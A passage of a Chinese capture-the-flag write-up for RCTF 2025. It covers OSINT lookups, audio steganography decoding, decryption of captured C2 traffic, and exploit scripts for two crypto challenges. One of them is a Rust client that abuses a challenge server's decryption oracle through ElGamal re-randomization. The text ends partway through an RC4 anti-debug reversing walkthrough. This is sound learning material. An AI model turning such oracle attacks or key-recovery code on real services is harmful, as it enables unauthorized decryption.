ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 200:350 | egrep -i "playlist|m3u|freeze|empty|loop|soft"freezed v0.9 to tagsfreezed v0.9.1 to tagssequential playing of playlists, inspired by a patch proposed by Graham Wisemanfreezed v0.9.2 into tagsfreezed v0.9.3 to tagsm3u playlist uses fio calls instead of fopen() and friendsfix: /random was always playing first song of the m3u list, now it is random from the startfixed playlist gap delay computation (fixed /delay behavior, too)freezed v0.9.4 to tagsfreezed v0.9.5 to tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | egrep -i "playlist|m3u|freeze|empty|loop|soft"do not freeze when no MPU401 is respondingsetting volume in software again, reinstated default delay=2ms, improved keyboard reaction times and adjusted documentationadded INT28h powersaving during idle loopsdetecting when a playlist is passed on command-line (but no m3u support yet)first semi-experimental M3U supportfreezed v0.6 into tagsfreezed v0.6.1 into tagsfreezed v0.7 in tagsfreezed v0.8 into tagsadded an empty and self-documented configuration file2s silence gap is inserted only in playlist mode (no reason to wait 2s for a single file)fixed freezing when fed with an empty playlistif too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)add a note about empty titles, when no textual data could be found in the midi fileignore leading empty title linesfreezed v0.9 to tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | grep -n "soft"260:setting volume in software again, reinstated default delay=2ms, improved keyboard reaction times and adjusted documentation712:if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | sed -n '710,720p'r178 | mv_fox | 2016-05-09 01:21:38 +0800 (Mon, 09 May 2016) | 1 line
if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)------------------------------------------------------------------------r179 | mv_fox | 2016-05-09 01:25:49 +0800 (Mon, 09 May 2016) | 1 line
replaced sleep() calls with equivalent udelay() calls (makes the binary 128 bytes lighter)------------------------------------------------------------------------r180 | mv_fox | 2016-05-10 02:04:00 +0800 (Tue, 10 May 2016) | 1 line
fetching more textual data from MIDI files (text events, tracks titles, marker events...) and displaying it on a little scrolling window
可以锁定在r178-180,然后试r178就直接对了
ounter(liner178
第三问
根据评论区找到主页
ounter(lineounter(lineounter(lineounter(line主页里想联系我吗?我的电子邮件地址与此网页的地址几乎相同([email protected])。令人惊讶的是,很多人难以念出我的名字,所以这里附上我的名字(图片来自 Wikimedia)。https://mateusz.viste.fr/mateusz.ogg
第四问
在主页发现了
ounter(linegopher://gopher.viste.fr
在26里找到了
ounter(line16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
The Alchemist’s Cage
Wanna Feel Love
Challenge 1
She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.
邮件隐写
ounter(linehttps://www.spammimic.com
ounter(lineDon't just listen to the sound; this file is hiding an 'old relic.' Try looking for the 'comments' that the player isn't supposed to see.
Challenge 2
She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.
然后下载openmpt
评论和乐曲名有提示
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env python3# -*- coding: utf-8 -*-
"""Decode hidden message from feel.wav binary-bar waveform.Expected output: I Feel Fantastic heyheyhey"""
import numpy as npfrom scipy.io import wavfile
def read_mono_pcm(path: str): rate, data = wavfile.read(path) data = data.astype(float) if data.ndim > 1: # 立体声只取一个声道 data = data[:, 0] return rate, data
def compute_envelope(data: np.ndarray, window_size: int = 100) -> np.ndarray: """对绝对值做滑动平均,得到能量包络""" abs_data = np.abs(data) n = len(abs_data) // window_size * window_size reshaped = abs_data[:n].reshape(-1, window_size) env = reshaped.mean(axis=1) return env
def binarize_envelope(env: np.ndarray) -> np.ndarray: """根据能量双峰分布自动求阈值,得到 0/1 序列""" median_env = np.median(env) low_level = np.median(env[env < median_env]) high_level = np.median(env[env > median_env]) threshold = (low_level + high_level) / 2.0 bits_raw = (env > threshold).astype(int) return bits_raw
def run_length_encode(bits: np.ndarray): runs = [] current = bits[0] length = 1 for b in bits[1:]: if b == current: length += 1 else: runs.append((current, length)) current = b length = 1 runs.append((current, length)) return runs
def expand_runs_to_bits(runs): """ 每一串 0/1 在时间上会持续若干个“单位长度”, 大部分长度约是 22 的倍数,这里固定 base_unit = 22, 再按 round(length / base_unit) 还原成重复 bit。 """ base_unit = 22.0 # 针对 feel.wav 这题是固定的 bit_list = [] for v, l in runs: n = int(round(l / base_unit)) if n <= 0: n = 1 bit_list.extend([v] * n) return bit_list
def bits_to_ascii(bit_list): bitstr = "".join(str(b) for b in bit_list) bitstr = bitstr[: len(bitstr) // 8 * 8] # 截断到 8 的倍数 bytes_vals = [int(bitstr[i : i + 8], 2) for i in range(0, len(bitstr), 8)] msg = "".join(chr(b) for b in bytes_vals) return msg, bytes_vals, bitstr
def decode_hidden_message(path: str): rate, data = read_mono_pcm(path) env = compute_envelope(data, window_size=100) bits_raw = binarize_envelope(env) runs = run_length_encode(bits_raw) bit_list = expand_runs_to_bits(runs) msg, bytes_vals, bitstr = bits_to_ascii(bit_list) return msg, bytes_vals, bitstr
if __name__ == "__main__": # 把这里改成你的文件名(与脚本在同一路径下) wav_path = "feel.wav"
msg, bytes_vals, bitstr = decode_hidden_message(wav_path)
print("Decoded bytes:", bytes_vals) print("Decoded message:") print(msg)
ounter(lineI Feel Fantastic heyheyhey
Challenge 3
She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.
在网络存档上找到原视频
ounter(linehttps://archive.org/details/youtube-rLy-AwdCOmI
ounter(lineounter(lineounter(linerLy-AwdCOmICreepyblog2009-04-15
Challenge 4
Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?
查找购买,基本AI就能出
ounter(lineounter(lineounter(linehttps://androidworld.com/prod68.htmChris Willis2004
Challenge 5
本题也是基本AI出的,多提示词几次,就会给出下面这个,但是有个坑点
john-louis-bergeron和john_louis-bergeron都会导航到那个网站,但是交后面那个是错误,因为这个卡住了,错失三血
ounter(linehttps://www.findagrave.com/memorial/63520325/john-louis-bergeron
Signin
直接看网页源代码。
发现100分就有flag了
Shadows of Asgard
是一个C2流量分析。
先找到C2上线的包
发现直接给aeskey和iv了。让ai搓了个脚本,成功解密data。
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport base64, jsonfrom Crypto.Cipher import AES
aesKey_b64 = "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="aesIV_b64 = "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="data_b64 = "N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMTc2MGFkOWNlZWU3YWYyYjM4OTk1MjYxZGJkY2E1NDZk=="data_hex = base64.b64decode(data_b64).decode()# 1. Base64 decodekey_list = json.loads(base64.b64decode(aesKey_b64).decode())iv_list = json.loads(base64.b64decode(aesIV_b64).decode())
# 2. Convert to byteskey_bytes = bytes(key_list)iv_bytes = bytes(iv_list)
# 3. data hex → bytescipher_bytes = bytes.fromhex(data_hex)
# 4. AES-CBC decryptcipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)plaintext = cipher.decrypt(cipher_bytes)
# 5. remove PKCS7 paddingpad = plaintext[-1]plaintext = plaintext[:-pad]
print(plaintext.decode(errors="ignore"))
第一问结果
解上线请求得第二问结果
第三问这里说命令隐藏在图像中
而且流量包里面频繁请求了logo.png,导出来看一下发现的确有base64在里面
得到第三问答案
第四问
第五问结果
RCTF{they always say Raven is inauspicious}
五问回答之后就得到flag了。
Crypto
suanp01y
加密流程:
-
环:,其中
-
多项式生成:随机生成两个 41-稀疏、次数 的多项式
-
平移变换:,( 为随机平移量)
-
输出内容:
然后就是AES的CTR模式加密
- (环内除法)
将 hint写成代数形式:
记 ,则:
真正短的有理分式是 ,其分子分母满足:
- 均为 41-稀疏多项式
对每个 计算:
此时:
当 时,,可通过多项式有理重构从 中恢复 。
有理重构恢复 后,枚举所有平移 ,生成
每次计算 作为 AES 密钥,用 CTR 模式解密密文,匹配 RCTF{…}即可
EXP:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom sage.all import *from Crypto.Cipher import AESfrom hashlib import md5
r, d = 16381, 41R.<x> = GF(2)[]S.<X> = R.quotient(x^r - 1)M = x^r - 1BMAX = r//3 nonce = b"suanp01y"
line1, line2 = open("output.txt","r").read().splitlines()Hstr = line1.split("=",1)[1].strip() H = S(Hstr) ct = bytes.fromhex(line2.strip())
def wt_R(poly_R): return sum(int(c) for c in poly_R.list())
def eea_ratrec(F_R, M_R, B): r0, r1 = M_R, F_R s0, s1 = R(1), R(0) t0, t1 = R(0), R(1)
def try_pair(A, B): if A and B and A.degree() <= BMAX and B.degree() <= BMAX: A, B = A.monic(), B.monic() if ((F_R*B - A) % M_R) == 0: return A, B return None
cand = try_pair(r1, t1) if cand: return cand while r1 != 0: q, r2 = r0.quo_rem(r1) r0, r1 = r1, r2 s0, s1 = s1, s0 - q*s1 t0, t1 = t1, t0 - q*t1
cand = try_pair(r0, t0) if cand: return cand cand = try_pair(r1, t1) if cand: return cand
raise RuntimeError("no bounded solution")
t0_R = t1_R = Nonegood_delta = None
for delta in range(r): H_delta = S(X^delta) * H F_delta = H_delta.lift() try: A, B = eea_ratrec(F_delta, M, BMAX) except RuntimeError: continue if wt_R(B) == d or wt_R(A) == d: t0_R, t1_R = (B, A) if wt_R(B) == d else (A, B) good_delta = delta print(f"[+] 找到可重构的 δ = {delta} ,wt(t0)={wt_R(t0_R)}, wt(t1)={wt_R(t1_R)}") break
if t0_R is None: raise SystemExit("[-] 遍历 δ 未能重构到 41-稀疏分母")
def decrypt_try(h0_S): key = md5(str(h0_S).encode()).digest() return AES.new(key=key, nonce=nonce, mode=AES.MODE_CTR).decrypt(ct)
t0_S = S(t0_R)flag = Nonefor k in range(r): h0 = S(X^k) * t0_S pt = decrypt_try(h0) if pt.startswith(b"RCTF{") and pt.rstrip().endswith(b"}") and all(32 <= b <= 126 for b in pt): flag = pt.decode() print("[+] FOUND flag:", flag) break"""[+] 找到可重构的 δ = 12921 ,wt(t0)=41, wt(t1)=41[+] FOUND flag: RCTF{i_just_h0pe_ChatGPT_doesnt_inst@ntly_so1ve_thi5_one.}"""
ReParing
题目基于 BLS12-381 配对的加密系统,服务端通过 Rust + arkworks 实现
这是一个 ElGamal 结构,可以被重随机化,而题目又给了我们一个“解密后 KDF(key) 的 oracle”。
我们选任意 ,定义新的密文:
原来随机数是 :,;
现在变成 :,;
同样从 调整为 。
对 调用同一个解密函数:
写成 的形式:
代入:
再用 :
于是:
对任意 ,按上面的公式重随机化之后的密文,解密出来的仍然是同一个会话密钥 。
而在交互协议里,只要 跟原来的三分量不同时相等,就会被认为是“新密文”,从而返回 。
得到hex(KDF(S))直接和encrypted_flag异或即可
exp:
文件结构
exp/ ├── Cargo.toml └── src/ └── main.rs
Cargo.toml:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line[package]name = "exp"version = "0.1.0"edition = "2024"
[dependencies]ark-bls12-381 = "0.5"ark-ec = "0.5"ark-ff = "0.5"ark-serialize = "0.5"hex = "0.4"
src/main.rs:
我们沿用题目的序列化规则即可
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineuse std::io::{Read, Write};use std::net::TcpStream;
use ark_bls12_381::{Bls12_381, Fr, G1Affine, G1Projective, G2Affine, G2Projective};use ark_ec::{pairing::Pairing, CurveGroup, PrimeGroup};use ark_ff::{PrimeField, Field};use ark_serialize::{CanonicalDeserialize, CanonicalSerialize};
type GT = <Bls12_381 as Pairing>::TargetField;
fn parse_g1_hex(s: &str) -> G1Projective { let b = hex::decode(s).expect("bad hex g1"); let a = G1Affine::deserialize_compressed(&*b).expect("bad g1"); G1Projective::from(a)}fn parse_g2_hex(s: &str) -> G2Projective { let b = hex::decode(s).expect("bad hex g2"); let a = G2Affine::deserialize_compressed(&*b).expect("bad g2"); G2Projective::from(a)}fn parse_gt_hex(s: &str) -> GT { let b = hex::decode(s).expect("bad hex gt"); GT::deserialize_compressed(&*b).expect("bad gt")}fn hex_g1(p: &G1Projective) -> String { let a: G1Affine = (*p).into_affine(); let mut v = Vec::new(); a.serialize_compressed(&mut v).unwrap(); hex::encode(v)}fn hex_g2(p: &G2Projective) -> String { let a: G2Affine = (*p).into_affine(); let mut v = Vec::new(); a.serialize_compressed(&mut v).unwrap(); hex::encode(v)}fn hex_gt(x: >) -> String { let mut v = Vec::new(); x.serialize_compressed(&mut v).unwrap(); hex::encode(v)}
fn xor_in_place(a: &mut [u8], b: &[u8]) { for (x, y) in a.iter_mut().zip(b.iter()) { *x ^= *y; }}
fn main() -> std::io::Result<()> { // 连接远端 let host = std::env::args().nth(1).unwrap_or_else(|| "1.14.196.78:42601".to_string()); let mut sock = TcpStream::connect(host)?;
// 读首行 banner let mut line = String::new(); let mut buf = [0u8; 4096]; // 读到换行即可 loop { let n = sock.read(&mut buf)?; if n == 0 { break; } line.push_str(&String::from_utf8_lossy(&buf[..n])); if line.contains('\n') { break; } } let line = line.lines().next().unwrap().trim().to_string();
// 拆分 8 段: id|dst|pk|q|c1|c2|c3|enc_flag let mut it = line.split('|'); let _id_hex = it.next().expect("id"); let _dst_hex = it.next().expect("dst"); let pk_hex = it.next().expect("pk"); let q_hex = it.next().expect("q"); let c1_hex = it.next().expect("c1"); let c2_hex = it.next().expect("c2"); let c3_hex = it.next().expect("c3"); let enc_hex = it.next().expect("enc"); assert!(it.next().is_none(), "more parts than expected");
// 反序列化 let pk: GT = parse_gt_hex(pk_hex); let q: G2Projective = parse_g2_hex(q_hex); let c1: GT = parse_gt_hex(c1_hex); let c2: G1Projective = parse_g1_hex(c2_hex); let c3: G2Projective = parse_g2_hex(c3_hex); let mut enc = hex::decode(enc_hex).expect("bad enc hex");
let mut delta_u64: u64 = 1; let key_hex = loop { let delta = Fr::from(delta_u64);
let c1p = c1 * pk.pow(delta.into_bigint()); let c2p = c2 + G1Projective::generator() * delta; let c3p = c3 + q * delta;
let out = format!( "{}|{}|{}\n", hex_gt(&c1p), hex_g1(&c2p), hex_g2(&c3p), ); sock.write_all(out.as_bytes())?;
let mut resp = String::new(); sock.read_to_string(&mut resp)?; let resp = resp.trim(); if resp == "bad" || resp == "no" { delta_u64 += 1; continue; } else { break resp.to_string(); } };
let key = hex::decode(key_hex).expect("bad key hex"); let enc_len = enc.len(); assert!(key.len() >= enc_len); xor_in_place(&mut enc, &key[..enc_len]); println!("{}", String::from_utf8_lossy(&enc)); Ok(())}
在exp目录下运行cargo run –release
ounter(lineounter(lineounter(lineounter(lineounter(lineC:\Users\28421\Desktop\exp>cargo run --release Compiling exp v0.1.0 (C:\Users\28421\Desktop\exp) Finished `release` profile [optimized] target(s) in 1.65s Running `target\release\exp.exe`RCTF{ElGamal-style_re-randomization_attack_still_break_modern_schemes_7ec932b22988}
Reverse
Chaos
签到题,双击exe得到flag
ounter(lineounter(lineHe said that if all the key modifications involved in anti-debugging are identified, the flag can be retrieved.your flag is RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}程序执行完毕,按下任意键退出...
Chaos2
这个题就是用一个被反调试代码动态改动过的 key 做 RC4 解密,把 main 里那 0x80 个字节解出来,得到真正的 flag
主逻辑在 loc_40151D 这一块:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040151D loc_40151D:.text:0040151D mov ebx, 22222222h.text:00401522 mov eax, dword_404018.text:00401527 mov [ebp-88h], eax.text:0040152D push 0.text:0040152F push 0.text:00401531 push offset sub_401130 ; 回调.text:00401536 call ds:EnumUILanguagesA.text:0040153C mov [ebp-194h], eax.text:00401542 mov ecx, dword_40440C ; key 指针放到 [ebp-190h].text:00401548 mov [ebp-190h], ecx
sub_401130 是 EnumUILanguagesA 的回调,里面就是反调试 + key 修改。
密文写入栈,地址从 [ebp-84h] 到 [ebp-5],一共 0x80 字节:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040154E mov byte ptr [ebp-84h], 0Fh.text:00401555 mov byte ptr [ebp-83h], 1Ah.text:0040155C mov byte ptr [ebp-82h], 8Ah.text:00401563 mov byte ptr [ebp-81h], 5Ah ; 'Z'.text:0040156A mov byte ptr [ebp-80h], 22h ; '"'.text:0040156E mov byte ptr [ebp-7Fh], 0ABh.text:00401572 mov byte ptr [ebp-7Eh], 1Eh.text:00401576 mov byte ptr [ebp-7Dh], 63h ; 'c'.text:0040157A mov byte ptr [ebp-7Ch], 19h.text:0040157E mov byte ptr [ebp-7Bh], 5Ah ; 'Z'.text:00401582 mov byte ptr [ebp-7Ah], 87h.text:00401586 mov byte ptr [ebp-79h], 0F2h.text:0040158A mov byte ptr [ebp-78h], 0E6h.text:0040158E mov byte ptr [ebp-77h], 0E9h.text:00401592 mov byte ptr [ebp-76h], 0D7h.text:00401596 mov byte ptr [ebp-75h], 0D1h.text:0040159A mov byte ptr [ebp-74h], 97h.text:0040159E mov byte ptr [ebp-73h], 0F9h.text:004015A2 mov byte ptr [ebp-72h], 0F8h.text:004015A6 mov byte ptr [ebp-71h], 32h ; '2'.text:004015AA mov byte ptr [ebp-70h], 5Bh ; '['.text:004015AE mov byte ptr [ebp-6Fh], 0DEh.text:004015B2 mov byte ptr [ebp-6Eh], 2Dh ; '-'.text:004015B6 mov byte ptr [ebp-6Dh], 0D6h.text:004015BA mov byte ptr [ebp-6Ch], 0A3h.text:004015BE mov byte ptr [ebp-6Bh], 4Fh ; 'O'.text:004015C2 mov byte ptr [ebp-6Ah], 7Eh ; '~'.text:004015C6 mov byte ptr [ebp-69h], 0CBh.text:004015CA mov byte ptr [ebp-68h], 61h ; 'a'.text:004015CE mov byte ptr [ebp-67h], 0B2h.text:004015D2 mov byte ptr [ebp-66h], 3Fh ; '?'.text:004015D6 mov byte ptr [ebp-65h], 0BFh.text:004015DA mov byte ptr [ebp-64h], 0B7h.text:004015DE mov byte ptr [ebp-63h], 1Bh.text:004015E2 mov byte ptr [ebp-62h], 0Ah.text:004015E6 mov byte ptr [ebp-61h], 84h.text:004015EA mov byte ptr [ebp-60h], 0B3h.text:004015EE mov byte ptr [ebp-5Fh], 0B4h.text:004015F2 mov byte ptr [ebp-5Eh], 0DEh.text:004015F6 mov byte ptr [ebp-5Dh], 3.text:004015FA mov byte ptr [ebp-5Ch], 46h ; 'F'.text:004015FE mov byte ptr [ebp-5Bh], 7Bh ; '{'.text:00401602 mov byte ptr [ebp-5Ah], 83h.text:00401606 mov byte ptr [ebp-59h], 0F0h.text:0040160A mov byte ptr [ebp-58h], 0C4h.text:0040160E mov byte ptr [ebp-57h], 0B3h.text:00401612 mov byte ptr [ebp-56h], 0ABh.text:00401616 mov byte ptr [ebp-55h], 7Bh ; '{'.text:0040161A mov byte ptr [ebp-54h], 29h ; ')'.text:0040161E mov byte ptr [ebp-53h], 0BCh.text:00401622 mov byte ptr [ebp-52h], 1Fh.text:00401626 mov byte ptr [ebp-51h], 0FEh.text:0040162A mov byte ptr [ebp-50h], 8Ah.text:0040162E mov byte ptr [ebp-4Fh], 79h ; 'y'.text:00401632 mov byte ptr [ebp-4Eh], 26h ; '&'.text:00401636 mov byte ptr [ebp-4Dh], 0DAh.text:0040163A mov byte ptr [ebp-4Ch], 8.text:0040163E mov byte ptr [ebp-4Bh], 1.text:00401642 mov byte ptr [ebp-4Ah], 85h.text:00401646 mov byte ptr [ebp-49h], 66h ; 'f'.text:0040164A mov byte ptr [ebp-48h], 7Dh ; '}'.text:0040164E mov byte ptr [ebp-47h], 0BBh.text:00401652 mov byte ptr [ebp-46h], 0EEh.text:00401656 mov byte ptr [ebp-45h], 0Fh.text:0040165A mov byte ptr [ebp-44h], 89h.text:0040165E mov byte ptr [ebp-43h], 59h ; 'Y'.text:00401662 mov byte ptr [ebp-42h], 0D4h.text:00401666 mov byte ptr [ebp-41h], 5Fh ; '_'.text:0040166A mov byte ptr [ebp-40h], 0ACh.text:0040166E mov byte ptr [ebp-3Fh], 18h.text:00401672 mov byte ptr [ebp-3Eh], 0AEh.text:00401676 mov byte ptr [ebp-3Dh], 0Bh.text:0040167A mov byte ptr [ebp-3Ch], 4Eh ; 'N'.text:0040167E mov byte ptr [ebp-3Bh], 0F0h.text:00401682 mov byte ptr [ebp-3Ah], 0B7h.text:00401686 mov byte ptr [ebp-39h], 5.text:0040168A mov byte ptr [ebp-38h], 5Ch ; '\'.text:0040168E mov byte ptr [ebp-37h], 81h.text:00401692 mov byte ptr [ebp-36h], 4.text:00401696 mov byte ptr [ebp-35h], 9Fh.text:0040169A mov byte ptr [ebp-34h], 0A4h.text:0040169E mov byte ptr [ebp-33h], 1Ch.text:004016A2 mov byte ptr [ebp-32h], 5Dh ; ']'.text:004016A6 mov byte ptr [ebp-31h], 0A0h.text:004016AA mov byte ptr [ebp-30h], 0B9h.text:004016AE mov byte ptr [ebp-2Fh], 7.text:004016B2 mov byte ptr [ebp-2Eh], 92h.text:004016B6 mov byte ptr [ebp-2Dh], 5Ch ; '\'.text:004016BA mov byte ptr [ebp-2Ch], 8Ah.text:004016BE mov byte ptr [ebp-2Bh], 53h ; 'S'
最后是 RC4 的逻辑:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040175A push 80h ; key 长度 0x80.text:0040175F mov edx, [ebp-190h] ; key 指针 = dword_40440C.text:00401765 push edx.text:00401766 lea eax, [ebp-18Ch] ; RC4 state.text:0040176C push eax.text:0040176D call sub_4017D0 ; RC4 KSA.text:00401772 add esp, 0Ch.text:00401775 push 80h.text:0040177A lea ecx, [ebp-84h] ; 密文缓冲.text:00401780 push ecx.text:00401781 lea edx, [ebp-18Ch] ; RC4 state.text:00401787 push edx.text:00401788 call sub_4018A0 ; RC4 PRGA + XOR.text:0040178D add esp, 0Ch.text:00401790 lea eax, [ebp-84h].text:00401796 push eax.text:00401797 push offset aYourFlagIsS ; "your flag is %s".text:0040179C call sub_401050
所以flag 就是 RC4 解密后的 [ebp-84h] 那 0x80 字节字符串。
在data段找到关键的fake_key:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.data:0040400B db 0FFh.data:0040400C dword_40400C dd 1 ; DATA XREF: sub_40206D+2↑r.data:00404010 dword_404010 dd 1 ; DATA XREF: sub_4022F5+D↑w.data:00404010 ; sub_4022F5:loc_402409↑r ....data:00404014 dword_404014 dd 1 ; DATA XREF: sub_4024C6+2↑r.data:00404018 dword_404018 dd 12345678h ; DATA XREF: .text:00401522↑r.data:0040401C aFlagTh1sflagls db 'flag:{Th1sflaglsG00ds}',0.data:00404033 db 0.data:00404034 db 0.data:00404035 db 0.data:00404036 db 0.data:00404037 db 0.data:00404038 db 0
但不是真正的key。
sub_401440函数:
